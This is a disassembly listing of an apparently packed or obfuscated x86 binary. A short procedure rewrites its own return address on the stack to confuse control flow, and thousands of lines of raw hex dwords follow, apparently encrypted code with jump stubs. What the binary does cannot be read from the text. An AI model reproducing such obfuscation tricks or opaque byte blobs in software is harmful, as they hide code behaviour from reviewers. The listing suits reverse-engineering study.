arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5F8E52	endp

; ---------------------------------------------------------------------------
		dw 373Eh
		dd 9C7E7AEDh, 228595FFh, 0CB8107E9h, 3BED3B55h,	95FF006Ah
		dd 7E90C31h, 48EBC08Bh,	18204A22h, 5DC465EDh, 7AD2AB82h
		dd 0ADF433CDh, 32ABA2F1h, 1753FB38h, 57CBF1F4h,	0E4830A4h
		dd 0F66D92D5h, 980B8ADEh, 2A442620h, 5D012DCEh,	0DFE0AD7Dh
		dd 0D45533BCh, 0C25428CBh, 9CDD2FA3h, 49069375h, 0F7E0D5E4h
		dd 5E8h, 0A70A2B00h, 5BF97DACh,	0C381D0B2h, 640Fh, 0B4DBD89h
		dd 6807E9h, 66000000h, 0F55FC28Bh, 893B348Bh, 0E91B5D9Dh
		dd 4EC68107h, 80570B1Eh, 0F68105EAh, 4ADCACCFh,	0EE951h
		dd 4D2B0000h, 8C478D29h, 3B71A669h, 0C1284E6Ch,	50C6815Ah
		dd 53671816h, 0FE9h, 75BA8D00h,	33670FC1h, 0D675F196h
		dd 0B40441FBh, 0B531565Ah, 7E90EF5h, 0E83B048Fh, 0Bh, 31281E1Bh
		dd 11A7459Dh, 66EAB36Dh, 8058D68Bh, 0EF83D9C8h,	4F4FF902h
		dd 4769BA66h, 9CC4FF81h, 850FFFFFh, 0Fh, 0E9C38B66h, 30h
		dd 0D1AEDA10h, 0FBB43E9h, 0D8Dh, 7BB96000h, 8B56FC74h
		dd 0E92FC995h, 59E96107h, 7AFFFFFFh, 6967E5E7h,	88AE33FFh
		dd 0A0E556C4h, 56E8D37Fh, 52D18D8Dh, 0E86007F0h, 0Fh, 881E7B33h
		dd 96673CD4h, 0AE2D7DDDh, 66FC2A62h, 5FB9FABEh,	158DBD33h
		dd 8B6107E9h, 0E90119BDh, 0D8D8907h, 6A07E932h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0C91DC353h, 0E80DCCB2h, 13h,	5693C59Fh, 9895E7AAh, 0AF677B7Ah
		dd 30F16BEEh, 580D58BFh, 13D858Bh, 85C707E9h, 7E922E5h
		dd 6AB0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	0EEC35141h, 0C7663CC5h,	0E922B185h, 7, 5858B00h
		dd 0FF07E921h, 0E9245DB5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 854E5384h
		dd 0F893A573h, 9676BB66h, 228595FFh, 0D68B07E9h, 95FF006Ah
		dd 7E90C31h, 5BEBC08Bh,	2E683A6h, 4B13F658h, 931CD428h
		dd 5958FB5Fh, 0E955E61Ch, 512A09EFh, 0E0BA5623h, 0A4109C62h
		dd 0D28DA20Bh, 0ED49311Ch, 2018FD0Ch, 0B6D40AA6h, 324B2D08h
		dd 65116F18h, 70088330h, 44E0CCB7h, 7890773Ch, 153688A0h
		dd 0C546EE50h, 5151E804h, 7FFDDF8h, 9C8324C9h, 0E9B9F323h
		dd 2Bh,	18F9CE28h, 9 dup(0)
		dd 0E9000000h, 4F3h, 0C06D0F2Ch, 3BBAC054h, 68057799h
		dd 0DF56D4CCh, 119CD87Dh, 1F329E9Bh, 2D64D05Dh,	85AA06AFh
		dd 3CDE7AFBh, 0D0CAB342h, 6C71E1A1h, 0AB193328h, 0ED6A04Ah
		dd 20CDAF42h, 85071EC6h, 91E309ADh, 86AB334Dh, 7C9E3AF6h
		dd 82962202h, 82A824F8h, 1F922CF0h, 305CC49Fh, 7BAB3371h
		dd 2E5625F9h, 46EA738Fh, 0ADCF6DA7h, 0F9839400h, 4537D874h
		dd 0D11AB3h, 0EDCD7D46h, 6EB6C669h, 74409C54h, 0A6E69B1Dh
		dd 6E305C25h, 725EA634h, 7743A3DDh, 44419D1Fh, 0F12C603Bh
		dd 708441A1h, 87F91FC9h, 6F0E0EF1h, 4BEA92A5h, 0ED3143E9h
		dd 5C4B9934h, 0FD9C7030h, 3159E4DCh, 490284h, 4AA00000h
		dd 970ED6A0h, 305CC515h, 825FFE12h, 8430E042h, 1BCh, 0A64A0600h
		dd 0A84C08D4h, 4E4672D2h, 83923ACCh, 4BA73D01h,	0F796BA17h
		dd 2FF760Fh, 9E088CD4h,	0A8D26652h, 1D0C9905h, 38B31A9Bh
		dd 0D2F8B67h, 4A40C273h, 0E775D1A7h, 0C4A4E495h, 366C305Ch
		dd 27FF8196h, 9B370F9Dh, 0EB730577h, 0D5EF3741h, 0A0AC11Dh
		dd 0B6FA9363h, 85BF9B8Ch, 30C6465Fh, 7539DCF8h,	3D479F1Dh
		dd 9FB11DAFh, 0B78301DDh, 0C421BC2Ah, 5E1A4913h, 46D4C028h
		dd 4AECE834h, 0AD3D7D34h, 0CDD7305Ch, 4BF7E73Fh, 0F27F71A2h
		dd 57FF8430h, 0CB000000h, 4CE3A74Ah, 0A469E2Ch,	0F4A9AE4h
		dd 6D8044E5h, 27CA660Fh, 0D5CD8955h, 33DF8F57h,	0DA67498Ah
		dd 6A878430h, 23000000h, 0CFD2A74Ah, 7EA1CCA1h,	0F9BCFCB5h
		dd 4E54305Bh, 86041CB8h, 8FA02CF0h, 90A511EDh, 9EBC18E4h
		dd 736500DCh, 5B7D28CAh, 99E376B2h, 0A64AAE14h,	8B9A42D4h
		dd 75993509h, 17A53F07h, 9FD98A86h, 0E04863C6h,	4BFAD54Ch
		dd 0A1F0305Ch, 65F7C323h, 1C40CB1Bh, 0D7A14B7Dh, 46E7750Fh
		dd 0F6CE0BB2h, 70843158h, 1, 0DAA44A52h, 0D2AC4E0Ah, 52FB1D72h
		dd 651738A4h, 7507298Dh, 1D8AA5F8h, 0AD1B168Bh,	8D1B37B5h
		dd 0F353D1C1h, 0AE0080F1h, 92102873h, 3EA620FCh, 69C601Ah
		dd 126C8E2Ah, 0F3B3EE78h, 1D2873ADh, 6DE9EB1h, 0BF02EE7Ch
		dd 0A17DFF1Dh, 73ADBEC0h, 0A23B4B28h, 0B44539F0h, 0AFEFA20Eh
		dd 612872F4h, 1945AD43h, 0D4A6B470h, 235DFF59h,	1B65F7C3h
		dd 12968FCBh, 72F51F9Fh, 1DB3F128h, 2F63F5C1h, 1FE775F7h
		dd 3FF9EB2h, 45B158A4h,	0F4B6F6ABh, 725E2872h, 465CA022h
		dd 740614B0h, 0FADE1AA8h, 3A8F2650h, 8C1AAFCAh,	10424h
		dd 0DC78BE00h, 37EA46C4h, 6819B324h, 37B59A29h,	116B8DE9h
		dd 0DD21B7CDh, 387829C3h, 0D828739Ah, 0A04A6ECAh, 5FFD5FD6h
		dd 67F5C11Dh, 36DB8315h, 0E5B6EA46h, 2436F29Bh,	966EDB5Ah
		dd 0D08C1A0Bh, 47h, 2DBAB3F2h, 1090019Bh, 305CC5h, 215056A2h
		dd 0B05CC581h, 68B21693h, 0D61E5CC7h, 49AE476h,	0E9494938h
		dd 0ED03B05Bh, 0F307B393h, 0F418B589h, 0C6EEA555h, 84031427h
		dd 0E91FBFF2h, 0B3F1305Bh, 7B8D02h, 78D50000h, 0E8403ADCh
		dd 1BAD3A35h, 4A32C581h, 93E41FEEh, 0D0D237B5h,	0C8AA400Ch
		dd 722FB925h, 28739332h, 4C68C0E2h, 9170CCAEh, 28739234h
		dd 984CEDE7h, 3A6D0072h, 631EA83Fh, 30643F8Dh, 5DF78123h
		dd 833F6424h, 3AF6AC20h, 3640EAE6h, 0F697B9EEh,	34B828CBh
		dd 0D03F192Bh, 28C557E5h, 0B71C650Bh, 914A6070h, 41F43743h
		dd 306147B3h, 28740CDAh, 923ACCD6h, 0AB36027Ch,	37A0B31Fh
		dd 7216ECA5h, 89A384Dh,	3943D67Eh, 0DF13DFE5h, 0B31B59F3h
		dd 8002E262h, 6C709111h, 93218328h, 35D884E2h, 2DCFEB47h
		dd 0E012F353h, 52761D9h, 7C9E4AF3h, 48EC6802h, 18D0D232h
		dd 67113B95h, 61E3339Fh, 8BD43ED7h, 5D8ED741h, 5C265995h
		dd 0D622A0F0h, 2BC103AAh, 7854544Dh, 0E6BC0963h, 0D973DD50h
		dd 0AF39479Fh, 6377B2F2h, 0A9E99809h, 6B096377h, 0BE4F5539h
		dd 0DF07C012h, 0A619D1B4h, 8, 0AD254F8h, 685A96E0h, 0FD7A14Ah
		dd 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah
		dd 6FB7356Dh, 53B3CD63h, 55A9D367h, 0E189515Eh,	4C181h
		dd 0E9830000h, 74FF5104h, 8F590424h, 685C2404h,	37C8h
		dd 53243C89h, 0C381E389h, 4, 4EB81h, 1C870000h,	2C895C24h
		dd 66BA5224h, 5007F053h, 0C789D089h, 2F685A58h,	89000028h
		dd 4832424h, 815D0424h,	4ECh, 243C8900h, 8B08458Fh, 8956242Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 243C8B5Ch, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF92372h, 772531C0h
		dd 0B81FD003h, 7F057C7h, 0E0FFC503h, 38D7C9BFh,	43A56771h
		dd 40E19E72h, 53B3327Dh, 415CCC5Ch, 784F3FF2h, 0E0E9h
		dd 0BDC87600h, 459CD714h, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h
		dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h
		dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h
		dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh
		dd 6B5C009Fh, 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h
		dd 0AFF144D6h, 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h
		dd 0BCF996BFh, 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh
		dd 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h
		dd 97B3EDh, 43F1B6D0h, 0F0A8CDh, 0
		dd 129D7447h, 5E99E0E3h, 0Ah dup(0)
		dd 1466E900h, 24680000h, 0E907F05Bh, 0FFF92256h, 0F05C1F68h
		dd 224CE907h, 968FFF9h,	0E907F05Dh, 0FFF92242h,	0F05E2168h
		dd 2238E907h, 9E68FFF9h, 0E907F05Eh, 0FFF9222Eh, 0F05F4668h
		dd 2224E907h, 0E068FFF9h, 0E907F05Fh, 0FFF9221Ah, 0F0608868h
		dd 2210E907h, 2568FFF9h, 0E907F061h, 0FFF92206h, 0F0628A68h
		dd 21FCE907h, 6A68FFF9h, 0E907F063h, 0FFF921F2h, 0F064C568h
		dd 21E8E907h, 0C368FFF9h, 0E907F065h, 0FFF921DEh, 0F0674968h
		dd 21D4E907h, 6168FFF9h, 0E907F068h, 0FFF921CAh, 0F06A1168h
		dd 21C0E907h, 0D68FFF9h, 0E907F06Bh, 0FFF921B6h, 28C5B744h
		dd 6312688Ch, 0D05D1F31h, 7AE2C64h, 79F48095h, 0C76A46E3h
		dd 859C38B5h, 2DC26E07h, 0E476A253h, 28721B9Ah,	6C6B3979h
		dd 0C3A1DB28h, 46C4DC78h, 0A80CE4FEh, 0A02CF082h, 0D945E88Ah
		dd 42A2DA7Dh, 0C54D4D44h, 0DDC7305Ch, 23CEE34Fh, 0FE8822B4h
		dd 5CC50383h, 5B970D30h, 0B5ABCBAAh, 5D9CB37h, 3C3CD37Bh
		dd 0ABB915F4h, 0A3AF2873h, 0BF50FCFAh, 6E5675BDh, 0C38C19F5h
		dd 0AE8A0A1Bh, 2873h, 0A0B35700h, 0EDECA537h, 0A537B5AAh
		dd 0C05626C9h, 0AA29857Ch, 33DF2873h, 4FE06C8Ah, 0FEC6C52Dh
		dd 788C19FAh, 0C3h, 0D6A04A4Ah,	0CDAF420Eh, 0C5B74571h
		dd 0BDBF5D79h, 0C0675130h, 0CF6D305Ch, 3EA600ADh, 0A0DB62E7h
		dd 0FF1917D8h, 7158169h, 59D4A975h, 72453CCEh, 0C037B4C2h
		dd 1D1853E2h, 0B381F08Ah, 0D92FC6E9h, 809531CBh, 0C250D2C2h
		dd 6819B333h, 2086EA28h, 5A7EBAE8h, 0D0D0C1B7h,	402086E9h
		dd 7125CC62h, 13C3512h,	11F89ACDh, 0CD6E0000h, 829602B3h
		dd 35DB75F8h, 160EAA4Bh, 9ABF1994h, 5CDD53E2h, 12A3D97Ch
		dd 40ED6FA6h, 0B43943D4h, 0ED80F218h, 23631E88h, 0ED286C6Ah
		dd 0EE78E9DFh, 5CC4F3B3h, 0AB871D30h, 91A4EA0Fh, 0FB891BEBh
		dd 423CDE7Ah, 5A0E2CA8h, 6F75C94Bh, 0A34905D9h,	0E1770DD1h
		dd 0B33E8409h, 8A537A0h, 0A9D84ED2h, 305C39E9h,	0A5EC792Bh
		dd 3CD175E8h, 0BBF6F038h, 37B5A93Ch, 0EAF4485Ah, 6DB13362h
		dd 0CCCCC557h, 442873A8h, 0D7F3925Eh, 8D2873A8h, 0C93BD881h
		dd 258C19FBh, 0A1h, 0D6A04ABDh,	6341A944h, 0EF945FD4h
		dd 4EE3EF03h, 852FD62Eh, 43305C52h, 8A26CFA9h, 7BCE1660h
		dd 0A4DD6FF8h, 37B54011h, 0A12373DBh, 76FFA549h, 15A73023h
		dd 0B406E27Bh, 2C02220Bh, 146E05C4h, 27BE2FC7h,	0AFD0445Dh
		dd 0E78B6762h, 8EA32BBDh, 40D547EEh, 0B597BD34h, 0BFB73C35h
		dd 10FD08h, 0B6C65500h,	3799D3Fh, 4E30C672h, 9F1D75A7h
		dd 0E597BA16h, 7B57D048h, 0AD0FA6D6h, 0D37DF074h, 7B13C3Ch
		dd 85EA8BF5h, 69286819h, 0D2E8286Ch, 0D5A74AECh, 0E06CE58h
		dd 0C632B08Ch, 0B73E38D2h, 0D6A04A13h, 0CEA8420Eh, 1963F527h
		dd 116389C5h, 0B45A029Ch, 80687ACAh, 379F6261h,	0FE845820h
		dd 7FC7B95Eh, 45D08D65h, 964938D2h, 1C37B59Fh, 0C468F486h
		dd 0F0546EB6h, 0C1C323A1h, 0F9930D69h, 0D1C0445Dh, 28739ED1h
		dd 0F8896143h, 0FFE96DDDh, 3968C964h, 0CC596BBBh, 3EC1B6Bh
		dd 0EB7D131Bh, 420307B6h, 0A9752F38h, 3CCE59D4h, 54630C45h
		dd 5DF05C30h, 0FBEE8E1Fh, 412577EBh, 0D9F05E9h,	459F5070h
		dd 0CD89159Bh, 0F3F14D2Fh, 1725A107h, 0F65EC865h, 77F52C64h
		dd 0AB871DE1h, 0E693ED0Fh, 3CA90E04h, 13A718D4h, 43000010h
		dd 8B25C8A8h, 3C981567h, 63CD601Ah, 903CB133h, 0E676FF7Dh
		dd 0B8BC5141h, 0A8A9B35h, 5626C96Bh, 9DDF7DDFh,	7E336F10h
		dd 286C683Eh, 4AC6A4D6h, 700ED6A0h, 0EE0C40D4h,	9C26FE8Ch
		dd 99E9954h, 9FBF027Fh,	0CDD737B5h, 75E20D20h, 6F8D49E3h
		dd 0A124250Dh, 0F12FCC71h, 16B253B3h, 0CA208A71h, 0F75FA746h
		dd 0F2D11963h, 94033412h, 3D6Ch, 0A0B37600h, 0F2ECA537h
		dd 4437B277h, 76B7F7AAh, 4B592873h, 17A103EFh, 0AEE6A84Fh
		dd 400C9E2Ch, 7270CCAEh, 4A4C3B86h, 0E287377h, 0B1E392ECh
		dd 7806DE9Eh, 0F64238DCh, 0F65D9h, 0A0B36900h, 0FEECA537h
		dd 92384D6Bh, 906CEE26h, 50EA7C12h, 0D31F9DF4h,	8A2B55E7h
		dd 92720C2Eh, 31CB5CDFh, 5D11BF40h, 0C7515330h,	0E983FD1Fh
		dd 46B2CA6Dh, 4133D97Bh, 9A0D28FDh, 0B6EE7600h,	72DAE834h
		dd 4143A3DDh, 0FA5D18E9h, 485527D4h, 732E9E18h,	18937533h
		dd 0AA36C7DDh, 4FEA78D7h, 24296D75h, 0FBC2F549h, 6B00000Eh
		dd 933DB0C0h, 0C470FD7Fh, 0BA54832h, 0B814991Bh, 0DE4EE795h
		dd 0A0D47959h, 0F272A30Dh, 3E3ED143h, 85F705B7h, 661B87E8h
		dd 286C6726h, 9FEEDCEEh, 305CC543h, 34C651DCh, 4D6BB47Dh
		dd 0B2445E38h, 93138E18h, 7D286C6Ch, 4DEFCB27h,	4168233h
		dd 0D064E07Ah, 5F124EAAh, 27B14BDCh, 1DE19BBFh,	8A77F687h
		dd 68B4EE4Ch, 37FEC180h, 0E942FC5h, 39479B63h, 34ABBB3Ch
		dd 0E7Eh, 0B83547D4h, 0F382F81Ch, 20CDAF41h, 971E9CF4h
		dd 0C9641025h, 57FAD653h, 0F52C8825h, 0BD52FE77h, 748632C3h
		dd 98026B0Ah, 6C66A9E9h, 73516B28h, 4FE0A04Ah, 3DD3D12Dh
		dd 3547D5E1h, 8128CCE9h, 3547E975h, 0DBF6CEFDh,	0E7708430h
		dd 52000008h, 0A537A0B3h, 4D6B38ECh, 10AAF838h,	4CE2A6B4h
		dd 730A9C32h, 0F646AB57h, 18C646Dh, 2BFB8597h, 6BD55E7Ah
		dd 8EA02C28h, 0CE6904ECh, 0F507CF59h, 4839AF8Bh, 2FC4AF85h
		dd 0EE8BA10Dh, 9B99149Ch, 61FB89B7h, 82597030h,	6C02A020h
		dd 3AA587C5h, 0A81FD73Ch, 0DD6h, 0E08DEF0Ch, 5BDAA0B4h
		dd 882557F9h, 0FF76F42Ch, 31BCB85Dh, 0FF127EBBh, 4D44F07Dh
		dd 658A26CFh, 1C3E9A1Bh, 0F0AAD362h, 6C660181h,	8BF91328h
		dd 0DFD2A04Ah, 305CC4DFh, 1DD7331h, 9D5A7B5h, 73D3A94Dh
		dd 76CE4E47h, 985EFF01h, 5CC4A9E9h, 0AB396B30h,	924FEE02h
		dd 8430DC32h, 82D4Ch, 439F1600h, 0DC305CC5h, 1C5EF051h
		dd 0F71AC2C0h, 2C65F785h, 384D6C38h, 34902A78h,	7FD95426h
		dd 8E43A3DDh, 2F62F463h, 2FC547ACh, 5931B8EAh, 793C39B7h
		dd 0D3CF2E5h, 81AA0000h, 3ED27EF7h, 0F107B13Ch,	5A4AE68Fh
		dd 56FB55D8h, 18118F26h, 4EE795B8h, 0BC31B3E2h,	0F07DFF10h
		dd 29C4B644h, 67275A44h, 0A9286C66h, 0A04A2D93h, 0A8420ED6h
		dd 0EFA23CCEh, 305CC4AFh, 0BBF74361h, 0C333DA3Eh, 0AD85F71Bh
		dd 30DCA61Eh, 7A0C084h,	0B3E20000h, 8DEF01A0h, 8D346DFFh
		dd 7F384D6Ch, 0E43840D7h, 346E12DEh, 66103AA2h,	0ADCF6DCFh
		dd 6C14B051h, 22D286Ch,	4B8E0395h, 0B12FC546h, 462A6A27h
		dd 17132083h, 1F270645h, 0BF495B3Bh, 82CBC2C2h,	98505220h
		dd 5903AEF4h, 653C3930h, 0C94F6E9h, 29C20000h, 0E60AA64Fh
		dd 99BF1994h, 0B2E24EE7h, 0FE13BD30h, 0C079F77Eh, 0B63F3DD0h
		dd 0E4890B1Ah, 58D5A748h, 911C5EFCh, 0BFFFB2ECh, 51286C64h
		dd 0A04A453Bh, 0A8420ED6h, 394734C9h, 2902682h,	0BC5DB722h
		dd 3194A51Fh, 700C184h,	19C50000h, 27BD81F3h, 149C1C95h
		dd 2E74305Ch, 209FC0C2h, 0C7305CC5h, 7829C354h,	384D6BEEh
		dd 0EE7600A2h, 0D6EC304Ah, 2AC08C1Ah, 9D39A548h, 8135FD7Fh
		dd 6035096Bh, 3EC862F5h, 35FD7F96h, 0C5596154h,	26D3D12Fh
		dd 3C39A500h, 0F72B9C50h, 6F00000Bh, 9701ACCCh,	0D874F983h
		dd 0FA94436h, 0BC189517h, 0DA52E399h, 9CD87D5Dh, 0EE6EA711h
		dd 3A42D547h, 81F319BBh, 621F8BECh, 286C6422h, 4AEAD8F2h
		dd 0AA44D6A0h, 5CC4B7F7h
		dd 0EF4B5930h, 0BDF507B3h, 851FE765h, 305C2FF7h, 0C3BD5F89h
		dd 0E02F9132h, 6E4F8430h, 1B000001h, 0F3B3EE78h, 1D305CC4h
		dd 0ED0FAB87h, 256CF993h, 8F2FF2CDh, 2793CF2Bh,	0C1BB5D15h
		dd 5CD1677Dh, 47DEE09h,	305C6084h, 3387168Ch, 8D453A77h
		dd 10AD3FCDh, 0E4D82837h, 6442AE77h, 0B5664E2Dh, 865E4437h
		dd 7366C31Fh, 0F495B928h, 1A39DD27h, 27198Ch, 0B3A90000h
		dd 0ECA537A0h, 37B5AAEDh, 7E27FFA5h, 2873AA62h,	8653FA06h
		dd 8C19FB3Eh, 0B5C76BF3h, 429F5B69h, 0D9h, 0C4DC7860h
		dd 0C54F4F42h, 0E3C1305Ch, 1765894Dh, 597DB5CFh, 517DC1B3h
		dd 5A64B8BCh, 3EDA3FC3h, 55FBA14Dh, 3BC9DB2Bh, 4731DBFFh
		dd 26661BB5h, 0EE305C8Ch, 94207CB4h, 0FA62F486h, 0CFD529ABh
		dd 0CDE79E63h, 0AB305C5Fh, 2B7EF781h, 730D9F08h, 5FE8A8D9h
		dd 7A28305Ch, 8B36CFBEh, 0E88237B0h, 708AF9B9h,	0CD891B28h
		dd 0F9E54D2Fh, 0DF8711ABh, 0E0E2423Ah, 0F789AC08h, 708AFABAh
		dd 0FA881A28h, 4034D97Bh, 0CF3F3A9h, 0AC03D334h, 0A92h
		dd 0A4492BC0h, 1F96E408h, 4CE19BBDh, 8332B0E0h,	0F578FC11h
		dd 43D6C267h, 918B439h,	0A94EEA8Bh, 58F25ED7h, 0B4EE971Eh
		dd 6C62BDFDh, 47255728h, 413BDC78h, 0AF0BE7FDh,	0E343F28Ah
		dd 0EBF0664Ah, 38F09826h, 71FC7E9Ch, 0D6A04AD1h, 0CEA8420Eh
		dd 742DC727h, 305CC534h, 556AC6DCh, 4EAh, 37A0B3EDh, 0B089ECA5h
		dd 9B0937B5h, 0B0FEDA4Bh, 5EE22873h, 0F4A262BFh, 0EDC8C19h
		dd 0C2000002h, 0B4880A1Ah, 9FC0C22Eh, 305CC51Ah, 2BBD2AC5h
		dd 37DB8FA3h, 55EBF945h, 0CA960B9Dh, 0CA384D6Bh, 74864ED8h
		dd 23C96B0Ah, 0F143B855h, 0F65564D4h, 6C3E0383h, 1970D28h
		dd 5ACD683Dh, 5A8735C0h, 37BCE392h, 8B53EDFBh, 0B8CA1A9Ah
		dd 8C1E9170h, 8E142FC5h, 39F057E3h, 0F8EF673Ch,	9B2h, 0C4690B20h
		dd 3FB6C468h, 6C017B9Dh, 0A352D0C0h, 1598DC71h,	2336A287h
		dd 2978D459h, 89AE0AABh, 38D27EF7h, 0D4CEB73Eh,	6C61DDDDh
		dd 0A7053728h, 0ED6A04Ah, 76CEA842h, 1A9721A5h,	305CC49Ah
		dd 9CC0287Ah, 5721CBFDh, 0E09B65DEh, 34908430h,	0FA885426h
		dd 153E33Eh, 7BE30000h,	735FA7D1h, 475DA123h, 784B79B1h
		dd 0E4763ADCh, 0AA38049Ah, 0B6C06A4Eh, 97178A24h, 79305CC4h
		dd 2793CF2Bh, 97CA6B15h, 0EF791384h, 40A8D067h,	0B5ABE281h
		dd 45F5B037h, 882350AEh, 0E0815DF3h, 287362C4h,	24F594B8h
		dd 8C1A3DDCh, 351Ah, 0A0B3A800h, 0EDECA537h, 0A537B5AAh
		dd 0F9927FFh, 0AA7C3C75h, 0E942873h, 73AA1B9Bh,	2FAFF528h
		dd 0CABB7709h, 2873A9EEh, 12CF6E92h, 8C19FAB2h,	0B6CCh
		dd 0A04A9600h, 0AF420ED6h, 0B74571CDh, 0D5E740C2h, 0C157D0C5h
		dd 0D8C9637Dh, 305C1AD8h, 2A8E6A38h, 88FF7600h,	305CC7FEh
		dd 0B44630DAh, 0B8700228h, 4A1CA935h, 0A41CC3E7h, 1C1FD21Eh
		dd 6780F18Bh, 0B137B072h, 0AB7B0115h, 87BB8C19h, 4DA3CDBCh
		dd 11ABF9E5h, 533B4A84h, 62F4A3D0h, 38AE8A18h, 7203799Ch
		dd 544D33C6h, 28708C54h, 0D950E6BCh, 340CF06Fh,	57883F37h
		dd 8F000008h, 37610C6Ch, 78D45923h, 0AF09A4D6h,	0DC78F577h
		dd 3AB24339h, 0FC789DFDh, 4ECEC771h, 9AE275A7h,	0E193B91Bh
		dd 27F2B4Ch, 286C6182h,	4A0A7892h, 0FC58D5A7h, 7B052A5Eh
		dd 4AFA48E5h, 420ED6A0h, 0C727CEA8h, 60B1F91Fh,	2DE24EDCh
		dd 2BEh, 37A0B375h, 6C02ECA5h, 0D974384Dh, 3A00E51Dh, 10FC34FBh
		dd 0F7D3B292h, 0ED286C03h, 0A91BB861h, 0C58C21A1h, 26Bh
		dd 32722FB9h, 0E2286C10h, 9F5A68C0h, 305CC51Ah,	2BBD2AC5h
		dd 4D6C9476h, 10AAF838h, 4739DE86h, 0D186E2FFh,	63E3518Bh
		dd 0D68038CDh, 9B988995h, 0A7D17B5Fh, 86067B15h, 8E286C73h
		dd 67D1DC14h, 8711ABD5h, 6C738A0Ah, 0BC188A28h,	851FE765h
		dd 0B1BC71ADh, 732F6F22h, 0C3E1286Ch, 0B3E69B2Dh, 792FC55Fh
		dd 5EF2B2EFh, 45EA2083h, 0B5D9EB3Bh, 0FC4034D9h, 0F49850E6h
		dd 0AF8B03AEh, 9BAB3C39h, 75924h, 12628900h, 5F1D3163h
		dd 0AAD47AD6h, 0FB79A90Bh, 413BDE7Ah, 9FFB3CACh, 0C173027Ah
		dd 77A14CD0h, 0BB1598E0h, 294EE791h, 6084047Dh,	7E8C286Ch
		dd 0D6A04A08h, 0CEA8420Eh, 0A521A576h, 8A17EF6Dh, 11F48AE7h
		dd 0CB932157h, 6D9159DBh, 80F218CCh, 36C54EDh, 8C8A8431h
		dd 0D8000001h, 0ED6A04Ah, 27CEA842h, 0E476E10Ch, 0C557574Ah
		dd 0ECB9305Ch, 0ABE7EED6h, 1BD76505h, 0D475148Dh, 4EE737B4h
		dd 4048CACBh, 7A66D264h, 8D049E28h, 28734F0Dh, 0EA089D07h
		dd 0E8EBF340h, 30D10DE5h, 2873C494h, 0D125C448h, 569BC144h
		dd 0CE43A56h, 1A8045BFh, 2150EA8Ch, 28732961h, 29585849h
		dd 0EAB82873h, 61C4FFAAh, 0E5CC5FC9h, 3B469B57h, 1C000000h
		dd 0EE01A0B3h, 54EA68B8h, 7E7D34C6h, 1437B5ABh,	0F3CFB68Eh
		dd 0E92873AAh, 8F5B861Fh, 2E9E1948h, 19AC2B6Eh,	5EFE9C14h
		dd 6A78C446h, 1EBB628Eh, 8C1A56A6h, 0B7C0h, 0A04AE200h
		dd 0A7C483D1h, 8A52EB95h, 2AFA8863h, 2EB8019Ch,	5FF9FABDh
		dd 0F1890184h, 856D031Fh, 0A478FC11h, 0AC700228h, 0DE680A20h
		dd 0D44D4D44h, 0DDC7305Bh, 0BFF98815h, 97305C59h, 0F656D6CFh
		dd 0B8CA1A64h, 0C4B64470h, 0FD11BD29h, 73FEB37Fh, 8541C3D2h
		dd 0AB390577h, 0F50E8315h, 0B937AF85h, 60F551EBh, 0B9E88214h
		dd 286F84F9h, 5CA1891Bh, 921F5DF0h, 340D8922h, 0D3AD02D2h
		dd 3000005h, 4BE588E8h,	0FC58D5A7h, 238D205Ah, 50FC71F3h
		dd 0A636BFBDh, 78FC1181h, 0CA4A5BF5h, 1666892Bh, 5D1F3D9Fh
		dd 0BEF3AFD0h, 286C5DFEh, 4A86E416h, 0FC58D5A7h, 31911C5Eh
		dd 0ED6A04Ah, 0EBABE670h, 0ED305CC4h, 0D5EF37B5h, 0AB0FEBB9h
		dd 0F965F781h, 0C1CC24A8h, 2153F965h, 2CF6C9h, 4A080000h
		dd 700ED6A0h, 0E53943D4h, 7DF0A8D8h, 91272A35h,	9DDF7D59h
		dd 39E07441h, 12256D8Fh, 0E63E9A6Ah, 0AD40D664h, 1E18h
		dd 0A04AAA00h, 3C970ED6h, 32305CC5h, 34805C1Eh,	0CF8A5A20h
		dd 0E2768425h, 0B7458F2Eh, 4A9A28C5h, 0BB0ED6A0h, 0E49D2FB8h
		dd 384D6BF6h, 67193E9Ah, 3E73059Fh, 286C6B7Eh, 0EC7E0C96h
		dd 617EAC51h, 194599Eh,	0D46B5966h, 9C0AE6F0h, 0D5581A30h
		dd 5FA7D17Bh, 6EF86F8Ah, 5C81F233h, 0F4861C30h,	26B0C268h
		dd 18E466BEh, 0F123AE8Ah, 70C5195Bh, 0A9D872E5h, 27D46AAEh
		dd 0CD1E67FEh, 0A77B6D17h, 74FDA74Bh, 242A58CEh, 0BB4176CEh
		dd 2B000004h, 53FD7000h, 8430BDBFh, 0CB650872h,	78D459DBh
		dd 9E0EA7D5h, 60143999h, 0B23263CDh, 0FE7E9103h, 4537C577h
		dd 0A6DBC7A8h, 286C5CE6h, 4AAE1C2Eh, 0FD5FD6A0h, 0F5C11D5Fh
		dd 0E9831567h, 5CC4F8B8h, 99BC1830h, 0F38103E3h, 0EC10EB07h
		dd 7719B4Dh, 0DFEBD56Eh, 520B8430h, 5F000000h, 0A537A0B3h
		dd 0C516960Bh, 0A4FE305Ch, 742FA111h, 0CE4A4DAh, 0F9EDE79Ah
		dd 0E1C337B1h, 16968F57h, 0F98D0D84h, 1D872872h, 0E40BD3D5h
		dd 58EE88A2h, 0F8ECAED5h, 42E82872h, 950CA630h,	2872F915h
		dd 0C21A5FFh, 933D8068h, 8F20FC7Ch, 40Eh, 0D6A04AD7h, 0F899844h
